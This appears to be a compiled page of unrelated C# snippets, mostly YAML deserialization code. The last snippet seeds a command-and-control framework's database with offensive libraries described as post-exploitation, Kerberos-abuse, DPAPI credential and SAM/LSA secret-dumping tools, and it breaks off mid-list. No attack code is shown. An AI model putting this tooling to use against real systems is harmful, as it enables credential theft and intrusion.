            archiveContainer.CreateIfNotExists();

            deltaContainer = client.GetContainerReference(job.Delta.Container);
            deltaContainer.CreateIfNotExists();

            historyContainer = client.GetContainerReference(job.History.Container);
            historyContainer.CreateIfNotExists();


            if (job.MetadataCacheFile != null)
            {
                logger.Info("Found metadata cache file: {0}", job.MetadataCacheFile);

                // open the metadata file
                using (FileStream fs = new FileStream(job.MetadataCacheFile, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.Read))
                {
                    int counter = 0;

                    long lastGoodPos = 0;

                    try
                    {
                        while (true)
                        {
                            CacheBlock cacheBlock = CacheBlock.Parser.ParseDelimitedFrom(fs);

                            lastGoodPos = fs.Position;

                            foreach (var fileInfo in cacheBlock.DirInfo.FileInfos)
                            {
                                counter++;

                                string path = Path.Combine(cacheBlock.DirInfo.Directory, fileInfo.Filename);

                                switch (fileInfo.StorageTier)
                                {
                                case azpb.FileInfo.Types.StorageTier.Archive:
                                    archiveFileData[path] = fileInfo;
                                    break;

                                case azpb.FileInfo.Types.StorageTier.Delta:
                                    deltaFileData[path] = fileInfo;
                                    break;
                                }
                            }
                        }
                    }
                    catch (InvalidProtocolBufferException ipbe)
                    {
                        // we're done, so bail out
                        logger.Warn(ipbe, "Unable to parse protobuf.");
                        fs.SetLength(lastGoodPos);
                    }

                    logger.Info("Processed {0} files in metadata cache file.", counter);
                }
            }


            foreach (var dirJob in job.Directories)
            {
                DirectoryInfo di = new DirectoryInfo(dirJob.Source);

                string destDir = dirJob.Destination.Replace('\\', '/');
                if (!destDir.EndsWith("/"))
                {
                    destDir += '/';
                }

                UploadDirectory(job, di.FullName, di.FullName, destDir);

                if (stopFlag.WaitOne(0) || !YAMLConfig.Performance.IsActive)
                {
                    return;
                }
            }
        }
示例#22
0
        public SchemaSequence SchemaSequence(string yaml)
        {
            var deserializer = new DeserializerBuilder().IgnoreUnmatchedProperties().Build();

            return(deserializer.Deserialize <SchemaSequence>(yaml));
        }
示例#23
0
        public YamlTranslationWriter(string translationSourceFile, string folderYaml, string folderJson, string folderResx)
        {
            log.Info($"Inject the translation into the YAML files from this source table: {translationSourceFile}");
            if (translationSourceFile != null)
            {
                log.Info($"Inject translations from {translationSourceFile}");
            }
            if (folderYaml != null)
            {
                log.Info($"Inject into YAML files in this target folder: {folderYaml}");
            }
            if (folderJson != null)
            {
                log.Info($"Inject into JSON files in this target folder: {folderJson}");
            }
            if (folderResx != null)
            {
                log.Info($"Inject into RESX files in this target folder: {folderResx}");
            }

            if (translationSourceFile == null)
            {
                log.Error($"ERROR - The parameter translationSourceFile does not exist. Exiting!");
                return;
            }
            else
            if (!File.Exists(translationSourceFile))
            {
                log.Error($"ERROR - File {translationSourceFile} does not exist. Exiting!");
                return;
            }

            if (folderYaml == null)
            {
                log.Error($"ERROR - The parameter folderXml does not exist. Exiting!");
                return;
            }
            else
            if (!Directory.Exists(folderYaml))
            {
                log.Error($"ERROR - The Directory {folderYaml} does not exist. Exiting!");
                return;
            }

            if (folderJson != null)
            {
                if (!Directory.Exists(folderJson))
                {
                    log.Error($"ERROR - The Directory {folderJson} does not exist. Exiting!");
                    return;
                }
            }

            if (folderResx != null)
            {
                if (!Directory.Exists(folderResx))
                {
                    log.Error($"ERROR - The Directory {folderResx} does not exist. Exiting!");
                    return;
                }
            }


            foreach (Translation translation in ReadTranslationDataFromExcel(translationSourceFile))
            {
                string      yamlFileName     = Path.Combine(folderYaml, $"{translation.pset}.YAML");
                var         yamlDeserializer = new DeserializerBuilder().Build();
                PropertySet propertySet;
                try
                {
                    propertySet = yamlDeserializer.Deserialize <PropertySet>(new StringReader(File.ReadAllText(yamlFileName)));
                    log.Info($"Opened the YAML file {yamlFileName}");
                }
                catch (Exception ex)
                {
                    log.Error(ex.Message);
                    return;
                }

                var ScalarStyleSingleQuoted = new YamlMemberAttribute()
                {
                    ScalarStyle = ScalarStyle.SingleQuoted
                };
                var yamlSerializer = new SerializerBuilder()
                                     //.WithNamingConvention(new CamelCaseNamingConvention())
                                     .WithAttributeOverride <PropertySet>(nc => nc.name, ScalarStyleSingleQuoted)
                                     .WithAttributeOverride <PropertySet>(nc => nc.definition, ScalarStyleSingleQuoted)
                                     .WithAttributeOverride <Localization>(nc => nc.name, ScalarStyleSingleQuoted)
                                     .WithAttributeOverride <Localization>(nc => nc.definition, ScalarStyleSingleQuoted)
                                     .Build();

                switch (translation.type)
                {
                case "PSet":
                    log.Info($"Translate PSet {translation.pset} => {translation.name_TL} [{translation.language}]");
                    var localizationPSet = propertySet.localizations.Where(x => x.language.ToLower() == translation.language.ToLower()).FirstOrDefault();
                    localizationPSet.name       = translation.name_TL;
                    localizationPSet.definition = translation.definition_tl;
                    string yamlContentPSet = yamlSerializer.Serialize(propertySet);
                    File.WriteAllText(yamlFileName, yamlContentPSet, Encoding.UTF8);
                    break;

                case "Property":
                    log.Info($"Translated Property {translation.pset}.{translation.name} => {translation.name_TL} [{translation.language}]");
                    try
                    {
                        var localizationProperty = propertySet.properties.Where(x => x.name == translation.name).FirstOrDefault().localizations.Where(x => x.language.ToLower() == translation.language.ToLower()).FirstOrDefault();
                        localizationProperty.name       = translation.name_TL;
                        localizationProperty.definition = translation.definition_tl;
                        string yamlContentProperty = yamlSerializer.Serialize(propertySet);
                        File.WriteAllText(yamlFileName, yamlContentProperty, Encoding.UTF8);
                    }
                    catch (Exception ex)
                    {
                        log.Error($"ERROR: {ex.Message}");
                    }
                    break;
                }

                if (folderJson != null)
                {
                    string targetFileJson = yamlFileName.Replace(".YAML", ".json").Replace(folderYaml, folderJson);
                    JsonSerializerSettings jsonSerializerSettings = new JsonSerializerSettings();
                    jsonSerializerSettings.Converters.Add(new Newtonsoft.Json.Converters.StringEnumConverter());
                    jsonSerializerSettings.NullValueHandling = NullValueHandling.Ignore;
                    string jsonContent = JsonConvert.SerializeObject(propertySet, Formatting.Indented, jsonSerializerSettings);
                    File.WriteAllText(targetFileJson, jsonContent, Encoding.UTF8);
                    log.Info("The PSet was saved as JSON file");
                }

                if (folderResx != null)
                {
                    string     targetFileResx = yamlFileName.Replace(".YAML", ".resx").Replace(folderYaml, folderResx);
                    ResxWriter resx           = new ResxWriter(targetFileResx);
                    resx.Write(propertySet, StandardLanguages);
                    log.Info("The PSet was saved as RESX file");
                }
            }
        }
示例#24
0
        public NodeSchema Deserialize(string yaml)
        {
            var deserializer = new DeserializerBuilder().IgnoreUnmatchedProperties().Build();

            return(deserializer.Deserialize <NodeSchema>(yaml));
        }
        public override int ProcessContents(IList <Line> contents)
        {
            SubscriptionData outputYamlData;

            try
            {
                // Join the lines back into a string and deserialize as YAML.
                // TODO: Alter the popup/ux manager to pass along the raw file to avoid this unnecessary
                // operation once authenticate ends up as YAML.
                string        yamlString = contents.Aggregate <Line, string>("", (current, line) => $"{current}{System.Environment.NewLine}{line.Text}");
                IDeserializer serializer = new DeserializerBuilder().Build();
                outputYamlData = serializer.Deserialize <SubscriptionData>(yamlString);
            }
            catch (Exception e)
            {
                _logger.LogError(e, "Failed to parse input yaml.  Please see help for correct format.");
                return(Constants.ErrorCode);
            }

            // Validate the merge policies
            if (!ValidateMergePolicies(ConvertMergePolicies(outputYamlData.MergePolicies)))
            {
                return(Constants.ErrorCode);
            }

            _yamlData.MergePolicies = outputYamlData.MergePolicies;

            // Parse and check the input fields
            _yamlData.Channel = ParseSetting(outputYamlData.Channel, _yamlData.Channel, false);
            if (string.IsNullOrEmpty(_yamlData.Channel))
            {
                _logger.LogError("Channel must be non-empty");
                return(Constants.ErrorCode);
            }

            _yamlData.SourceRepository = ParseSetting(outputYamlData.SourceRepository, _yamlData.SourceRepository, false);
            if (string.IsNullOrEmpty(_yamlData.SourceRepository))
            {
                _logger.LogError("Source repository URL must be non-empty");
                return(Constants.ErrorCode);
            }

            _yamlData.TargetRepository = ParseSetting(outputYamlData.TargetRepository, _yamlData.TargetRepository, false);
            if (string.IsNullOrEmpty(_yamlData.TargetRepository))
            {
                _logger.LogError("Target repository URL must be non-empty");
                return(Constants.ErrorCode);
            }

            _yamlData.TargetBranch = ParseSetting(outputYamlData.TargetBranch, _yamlData.TargetBranch, false);
            if (string.IsNullOrEmpty(_yamlData.TargetBranch))
            {
                _logger.LogError("Target branch must be non-empty");
                return(Constants.ErrorCode);
            }

            _yamlData.Batchable = outputYamlData.Batchable;

            _yamlData.UpdateFrequency = ParseSetting(outputYamlData.UpdateFrequency, _yamlData.UpdateFrequency, false);
            if (string.IsNullOrEmpty(_yamlData.UpdateFrequency) ||
                !Constants.AvailableFrequencies.Contains(_yamlData.UpdateFrequency, StringComparer.OrdinalIgnoreCase))
            {
                _logger.LogError($"Frequency should be provided and should be one of the following: " +
                                 $"'{string.Join("', '",Constants.AvailableFrequencies)}'");
                return(Constants.ErrorCode);
            }

            return(Constants.SuccessCode);
        }
示例#26
0
        public async Task <EntryBase> ReadAsync(StreamReader sr, string id, bool ignoreBody)
        {
            string    tmp = sr.ReadLine();
            TextEntry entry;

            // YAML
            if (tmp == Identifier)
            {
                // Read YAML between the two identifiers.
                var yamlSB = new StringBuilder();
                while (!sr.EndOfStream)
                {
                    tmp = sr.ReadLine();
                    if (tmp == Identifier)
                    {
                        break;
                    }

                    yamlSB.AppendLine(tmp);
                }

                // Deserialize YAML
                var deserializer = new DeserializerBuilder()
                                   .WithNamingConvention(CamelCaseNamingConvention.Instance)
                                   .WithTypeConverter(NodaTimeConverter)
                                   .Build();

                if (ignoreBody)
                {
                    return(deserializer.Deserialize <EntryMeta>(yamlSB.ToString()));
                }

                entry = deserializer.Deserialize <TextEntry>(yamlSB.ToString());

                // Read the body
                entry.Id   = id;
                entry.Body = await sr.ReadToEndAsync();
            }
            // No YAML, read everything to body.
            else
            {
                if (ignoreBody)
                {
                    return(new EntryMeta()
                    {
                        Id = id,
                        Title = id,
                    });
                }
                else
                {
                    entry = new TextEntry()
                    {
                        Id    = id,
                        Title = id,
                        Body  = tmp + await sr.ReadToEndAsync(),
                    };
                }
            }

            // Decrypt the body
            if (entry.Encrypted)
            {
                try
                {
                    entry.Body = await Crypto.Decrypt(entry.Body);
                }
                catch (InvalidPasswordException)
                {
                    throw;
                }
            }

            return(entry);
        }
示例#27
0
        public async static Task InitializeTasks(ICovenantService service, CovenantContext context)
        {
            if (!context.ReferenceAssemblies.Any())
            {
                List <ReferenceAssembly> ReferenceAssemblies = Directory.GetFiles(Common.CovenantAssemblyReferenceNet35Directory).Select(R =>
                {
                    FileInfo info = new FileInfo(R);
                    return(new ReferenceAssembly
                    {
                        Name = info.Name,
                        Location = info.FullName.Replace(Common.CovenantAssemblyReferenceDirectory, ""),
                        DotNetVersion = Common.DotNetVersion.Net35
                    });
                }).ToList();
                Directory.GetFiles(Common.CovenantAssemblyReferenceNet40Directory).ToList().ForEach(R =>
                {
                    FileInfo info = new FileInfo(R);
                    ReferenceAssemblies.Add(new ReferenceAssembly
                    {
                        Name          = info.Name,
                        Location      = info.FullName.Replace(Common.CovenantAssemblyReferenceDirectory, ""),
                        DotNetVersion = Common.DotNetVersion.Net40
                    });
                });
                await service.CreateReferenceAssemblies(ReferenceAssemblies.ToArray());
            }
            if (!context.EmbeddedResources.Any())
            {
                EmbeddedResource[] EmbeddedResources = Directory.GetFiles(Common.CovenantEmbeddedResourcesDirectory).Select(R =>
                {
                    FileInfo info = new FileInfo(R);
                    return(new EmbeddedResource
                    {
                        Name = info.Name,
                        Location = info.FullName.Replace(Common.CovenantEmbeddedResourcesDirectory, "")
                    });
                }).ToArray();
                await service.CreateEmbeddedResources(EmbeddedResources);
            }

            #region ReferenceSourceLibraries
            if (!context.ReferenceSourceLibraries.Any())
            {
                var ReferenceSourceLibraries = new ReferenceSourceLibrary[]
                {
                    new ReferenceSourceLibrary
                    {
                        Name     = "SharpSploit", Description = "SharpSploit is a library for C# post-exploitation modules.",
                        Location = "SharpSploit" + Path.DirectorySeparatorChar + "SharpSploit" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    new ReferenceSourceLibrary
                    {
                        Name     = "Rubeus", Description = "Rubeus is a C# toolset for raw Kerberos interaction and abuses.",
                        Location = "Rubeus" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    new ReferenceSourceLibrary
                    {
                        Name     = "Seatbelt", Description = "Seatbelt is a C# project that performs a number of security oriented host-survey \"safety checks\" relevant from both offensive and defensive security perspectives.",
                        Location = "Seatbelt" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    new ReferenceSourceLibrary
                    {
                        Name     = "SharpDPAPI", Description = "SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.",
                        Location = "SharpDPAPI" + Path.DirectorySeparatorChar + "SharpDPAPI" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    // new ReferenceSourceLibrary
                    // {
                    //     Name = "SharpChrome", Description = "SharpChrome is a C# port of some Mimikatz DPAPI functionality targeting Google Chrome.",
                    //     Location = Common.CovenantReferenceSourceLibraries + "SharpDPAPI" + Path.DirectorySeparatorChar + "SharpChrome" + Path.DirectorySeparatorChar,
                    //     SupportedDotNetVersions = new List<Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 }
                    // },
                    new ReferenceSourceLibrary
                    {
                        Name     = "SharpDump", Description = "SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality.",
                        Location = "SharpDump" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    new ReferenceSourceLibrary
                    {
                        Name     = "SharpUp", Description = "SharpUp is a C# port of various PowerUp functionality.",
                        Location = "SharpUp" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    new ReferenceSourceLibrary
                    {
                        Name     = "SharpWMI", Description = "SharpWMI is a C# implementation of various WMI functionality.",
                        Location = "SharpWMI" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    new ReferenceSourceLibrary
                    {
                        Name     = "SharpSC", Description = "SharpSC is a .NET assembly to perform basic operations with services.",
                        Location = "SharpSC" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net35, Common.DotNetVersion.Net40
                        }
                    },
                    new ReferenceSourceLibrary
                    {
                        Name     = "SharpSecDump", Description = "SharpSecDump is a .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py.",
                        Location = "SharpSecDump" + Path.DirectorySeparatorChar,
                        CompatibleDotNetVersions = new List <Common.DotNetVersion> {
                            Common.DotNetVersion.Net40
                        }
                    }
                };
                await service.CreateReferenceSourceLibraries(ReferenceSourceLibraries);

                var ss = await service.GetReferenceSourceLibraryByName("SharpSploit");

                var ru = await service.GetReferenceSourceLibraryByName("Rubeus");

                var se = await service.GetReferenceSourceLibraryByName("Seatbelt");

                var sd = await service.GetReferenceSourceLibraryByName("SharpDPAPI");

                // var sc = await service.GetReferenceSourceLibraryByName("SharpChrome");
                var sdu = await service.GetReferenceSourceLibraryByName("SharpDump");

                var su = await service.GetReferenceSourceLibraryByName("SharpUp");

                var sw = await service.GetReferenceSourceLibraryByName("SharpWMI");

                var sc = await service.GetReferenceSourceLibraryByName("SharpSC");

                var ssd = await service.GetReferenceSourceLibraryByName("SharpSecDump");

                await service.CreateEntities(
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.Protocols.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.Protocols.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.Automation.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.Automation.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Windows.Forms.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Windows.Forms.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) },

                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.AccountManagement.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.AccountManagement.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net40) },

                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Web.Extensions.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Web.Extensions.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.DataSetExtensions.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.DataSetExtensions.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Windows.Forms.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Windows.Forms.dll", Common.DotNetVersion.Net40) },

                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net40) },

                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) },
